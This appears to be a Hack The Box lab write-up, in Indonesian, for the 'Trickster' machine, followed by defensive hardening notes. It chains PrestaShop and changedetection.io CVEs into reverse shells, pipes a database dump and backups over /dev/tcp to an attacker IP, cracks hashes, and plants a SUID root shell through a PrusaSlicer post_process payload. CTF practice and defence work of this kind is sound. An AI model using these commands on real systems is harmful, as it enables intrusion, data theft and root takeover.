Back to Archive
⚔️ Red Team
Hack The Box
Hack The Box(Machine)
Difficulty: Medium

Trickster

Hack The Box Machine • Solved by rwx4m
2025-01-04
rwx4m@vault
#Hack The Box#Red Team#Linux#Prestashop#CVE-2024-34716#CVE-2024-32651#Changedetection.io#PrusaSlicer#Privilege Escalation

HTB Machine Walkthrough: Trickster (Medium)

Target IP: 10.10.11.34
Domain: trickster.htb / shop.trickster.htb
Operasi: Offensive Penetration Testing & Lateral Movement
Tingkat Kesulitan: Medium
Operator: rwx4m (Purple Team Specialist)


🧭 Ringkasan Operasi & Vektor Serangan

Mesin Trickster merupakan lab simulasi infrastruktur e-commerce berbasis Ubuntu Linux yang menguji kejelian operator dalam rantai serangan multi-tahap (chained exploitation), pivoting kontainer internal, serta eksploitasi celah software khusus (desktop/tooling binaries).

[Attacker Machine]
       │
       ▼  (Nmap Recon & Directory Fuzzing)
[trickster.htb / shop.trickster.htb]
       │
       ▼  (Git Dumper -> Admin Path & PrestaShop <= 8.1.5)
[Initial Access: CVE-2024-34716 (XSS to RCE)] ──► User: www-data
       │
       ▼  (Database Dump: parameters.php & Hash Cracking)
[Lateral Movement: SSH] ──────────────────────────► User: james
       │
       ▼  (Internal Network Discovery & SSH Tunneling: Port 5000)
[Docker Container: changedetection.io]
       │
       ▼  (CVE-2024-32651: SSTI to RCE) ────────► Container Root
       │
       ▼  (Backup Archive Exfiltration & Brotli Decompression)
[SSH Lateral Movement] ──────────────────────────► User: adam
       │
       ▼  (Sudo NOPASSWD: PrusaSlicer .3mf Malicious G-code Injection)
[Privilege Escalation] ──────────────────────────► System: ROOT (uid=0)

1. Fase Rekonaisans & Pemindaian Port (Reconnaissance)

Langkah awal dimulai dengan memetakan port dan layanan yang berjalan pada target:

export box=10.10.11.34
export domain=trickster.htb

echo "$box $domain" | sudo tee -a /etc/hosts

Pemindaian Nmap Lengkap:

sudo nmap -p22,80 -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP

Hasil Pemindaian:

Nmap scan report for trickster.htb (10.10.11.34)
Host is up (0.058s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_  256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.52 (Ubuntu)

Pada port 80 langsung ditemukan kode respons 403 Forbidden. Namun saat navigasi ke antarmuka web, terdapat tab "SHOP" yang mengarahkan peramban ke subdomain baru: shop.trickster.htb.

Tambahkan subdomain ke berkas hosts:

echo "10.10.11.34 shop.trickster.htb" | sudo tee -a /etc/hosts

2. Directory Fuzzing & Kebocoran Repositori .git

Pada subdomain shop.trickster.htb, dilakukan enumerasi jalur web menggunakan FFUF:

export subdomain=shop.trickster.htb

ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -t 20 -fc 404,403 -e .php,.html,.txt,.md \
     -u http://$subdomain/FUZZ

Hasil fuzzing mendeteksi direktori sensitif .git terekspos ke publik tanpa proteksi akses web:

.git                    [Status: 301, Size: 326, Words: 20, Lines: 10]

Ekstraksi Repositori Git (git-dumper):

Untuk merekonstruksi seluruh riwayat commit dan struktur kode sumber target:

git-dumper-linux http://$subdomain/.git/ git-dumped
cd git-dumped/.git
git log

Log Git mengungkap commit menarik:

commit 0cbc7831c1104f1fb0948ba46f75f1666e18e64c (HEAD -> admin_panel)
Author: adam <adam@trickster.htb>
Date:   Fri May 24 04:13:19 2024 -0400

    update admin pannel

Pemeriksaan isi commit:

git show 0cbc7831c1104f1fb0948ba46f75f1666e18e64c

Ditemukan file baru dibuat pada jalur khusus: admin634ewutrx1jgitlooaj/filemanager/config/config.php

Jalur admin panel rahasia adalah: http://shop.trickster.htb/admin634ewutrx1jgitlooaj/


3. Initial Access: Eksploitasi PrestaShop (CVE-2024-34716)

Navigasi ke panel admin mengonfirmasi aplikasi e-commerce adalah PrestaShop versi 8.1.5. Versi ini rentan terhadap CVE-2024-34716.

Celah ini memanfaatkan Cross-Site Scripting (XSS) melalui file PNG yang dimanipulasi (polyglot payload) pada fitur upload tema PrestaShop, yang kemudian dirangkai (chained) untuk mengunggah shell PHP (reverse_shell.php) dan memicu Remote Code Execution (RCE).

Mempersiapkan listener di port 12345 dan meluncurkan skrip eksploit:

python3 exploit.py --url http://shop.trickster.htb \
                   --email rwx4m@rwx.com \
                   --local-ip 10.10.16.69 \
                   --admin-path admin634ewutrx1jgitlooaj

Eksploit berhasil mengunggah arsip tema berbahaya ps_next_8_theme_malicious.zip dan memicu reverse shell:

Ncat: Connection from 10.10.11.34:55006.
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Stabilisasi TTY shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

4. Lateral Movement: www-data ke User james

Pemeriksaan daftar pengguna sistem di /etc/passwd:

cat /etc/passwd | grep -E "100[0-9]"
# james:x:1000:1000:trickster:/home/james:/bin/bash
# adam:x:1002:1002::/home/adam:/bin/bash
# runner:x:1003:1003::/home/runner:/bin/sh

Analisis Kredensial Database PrestaShop:

Pada konfigurasi PrestaShop di ~/prestashop/app/config/parameters.php, ditemukan kredensial database MariaDB:

'database_host' => '127.0.0.1',
'database_name' => 'prestashop',
'database_user' => 'ps_user',
'database_password' => 'ps_password_hidden',

Melakukan database dump untuk memeriksa tabel akun:

mysqldump -u ps_user -p --all-databases > /tmp/backup.sql
cat /tmp/backup.sql > /dev/tcp/10.10.16.69/8888

Dari hasil ekstraksi data tabel ps_employee, ditemukan hash password akun pengguna james:

SELECT firstname, lastname, email, passwd FROM ps_employee;
-- james | james | james@trickster.htb | $2y$10$...

Cracking Password Hash (hashcat):

hashcat -m 3200 -a 0 hashes.txt rockyou.txt

Hash bcrypt berhasil di-crack dalam hitungan detik. Kredensial pengguna james valid untuk autentikasi SSH!

ssh james@trickster.htb
james@trickster:~$ cat user.txt
# [USER FLAG SECURED]

5. Pivoting Kontainer Internal: Changedetection.io (CVE-2024-32651)

Sebagai user james, pengecekan layanan jaringan internal menggunakan ss dan ifconfig menunjukkan adanya interface docker:

  • docker0 inet 172.17.0.1

Melakukan scanning host dan port di subnet Docker:

for ip in {1..16}; do ping -c 1 -W 1 172.17.0.$ip &> /dev/null && echo "172.17.0.$ip is up"; done
# 172.17.0.1 is up (Gateway)
# 172.17.0.2 is up (Target Container)

for port in {1..9999}; do nc -zv -w 1 172.17.0.2 $port 2>&1 | grep succeeded; done
# Connection to 172.17.0.2 5000 port [tcp/*] succeeded!

SSH Local Port Forwarding:

Meneruskan port internal 5000 dari kontainer 172.17.0.2 ke komputer penyerang:

ssh -L 5000:172.17.0.2:5000 james@trickster.htb

Aplikasi web pada http://localhost:5000 adalah changedetection.io, platform monitoring perubahan konten web.

Eksploitasi SSTI Jinja2:

Aplikasi terindikasi rentan terhadap CVE-2024-32651 (Server-Side Template Injection pada modul notifikasi Jinja2). Verifikasi dengan Nuclei:

nuclei -u http://localhost:5000 -t ./CVE-2024-32651.yaml
# [CVE-2024-32651] [http] [critical] http://localhost:5000/login?next=/

Dengan mengonfigurasi URL pantauan web kustom dan menyematkan payload SSTI Python pada webhook notifikasi, kita memicu reverse shell:

sudo nc -lnvp 1234
# Connection received from 10.10.11.34
# root@a4b9a36ae7ff:/app# whoami -> root

6. Lateral Movement: Kontainer ke User adam

Di dalam kontainer, kita memiliki hak root pada direktori /datastore. Ditemukan arsip cadangan terkompresi pada /datastore/Backups:

-rw-r--r-- 1 root root 6.1K Aug 31 08:53 changedetection-backup-20240830194841.zip
-rw-r--r-- 1 root root  33K Aug 30 20:25 changedetection-backup-20240830202524.zip

Rantai Eksfiltrasi (Container -> DMZ Host -> Attacker):

# 1. Container:
cat changedetection-backup-20240830194841.zip > /dev/tcp/172.17.0.1/5657

# 2. Host (james):
nc -lvnp 5657 > /tmp/backup-1.zip

# 3. Attacker:
scp james@10.10.11.34:/tmp/backup-1.zip ./

Setelah diekstrak, terdapat berkas kompresi Brotli (.txt.br). Melakukan dekompresi menggunakan perkakas brotli:

brotli -d backup-1/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
cat backup-1/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt

Berkas tersebut membocorkan password plaintext milik pengguna adam!

Login via SSH sebagai user adam:

ssh adam@trickster.htb
adam@trickster:~$ id
# uid=1002(adam) gid=1002(adam) groups=1002(adam)

7. Privilege Escalation: PrusaSlicer G-code Injection ke ROOT

Pemeriksaan hak sudo user adam:

adam@trickster:~$ sudo -l
Matching Defaults entries for adam on trickster:
    env_reset, mail_badpass, secure_path=..., use_pty

User adam may run the following commands on trickster:
    (ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer

Pengguna adam dapat mengeksekusi /opt/PrusaSlicer/prusaslicer dengan hak akses ROOT tanpa memerlukan kata sandi.

Analisis Kerentanan PrusaSlicer:

PrusaSlicer memproses berkas proyek 3D berformat .3mf (yang pada dasarnya adalah format arsip ZIP berisi file XML dan konfigurasi slicing). Parameter post_process pada Slic3r_PE.config mengizinkan eksekusi skrip atau biner eksternal pasca-proses pembuatan G-code!

Pada /opt/PrusaSlicer/, terdapat file contoh TRICKSTER.3mf.

Rekayasa Malicious .3mf:

  1. Mengunduh TRICKSTER.3mf dan mengekstrak isinya:
7z x TRICKSTER.3mf -o3mfile
cd 3mfile
  1. Memodifikasi file Metadata/Slic3r_PE.config dengan menambahkan payload pembuatan SUID root shell:
; post_process = "cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash"
; output_filename_format = rwx4m.gcode
  1. Mengemas kembali seluruh struktur berkas menjadi arsip 3MF:
zip -r -0 rwx4m.3mf *
scp rwx4m.3mf adam@trickster.htb:/home/adam/
  1. Menjalankan slicing menggunakan hak sudo:
adam@trickster:~$ sudo /opt/PrusaSlicer/prusaslicer rwx4m.3mf -s

PrusaSlicer memproses konfigurasi dan mengeksekusi direktif post_process dengan hak root!

Verifikasi SUID binary di /var/tmp/bash:

adam@trickster:~$ ls -la /var/tmp/bash
-rwsr-xr-x 1 root root 1396520 Jan  4 10:15 /var/tmp/bash

adam@trickster:~$ /var/tmp/bash -p
bash-5.1# id
uid=1002(adam) gid=1002(adam) euid=0(root) groups=0(root)

bash-5.1# cat /root/root.txt
# [ROOT FLAG CAPTURED - FULL COMPROMISE]

🛡️ Catatan Defensif / Blue Team Hardening

Sebagai Purple Team Specialist, setiap eksploitasi harus diiringi evaluasi pertahanan:

  1. Pencegahan Kebocoran Git:
    Blokir akses folder .git pada konfigurasi VirtualHost Apache:
    <DirectoryMatch "/\.git">
        Require all denied
    </DirectoryMatch>
    
  2. Segmentasi Database & Password Policy:
    Jangan menyimpan password akun sistem di dalam tabel aplikasi CMS dalam bentuk hash yang lemah atau menggunakan password yang sama di level OS.
  3. Container Isolation & Least Privilege:
    Jalankan container dengan read-only root filesystem dan tanpa hak akses root (USER node atau USER 1000).
  4. Restriksi Sudoers & Binary Capabilities:
    Hindari memberikan hak sudo tanpa batas pada perangkat lunak desain/desktop seperti slicer yang mendukung eksekusi skrip post-processing.
Share this writeup:Switch to classic view
Last updated: 2025-01-04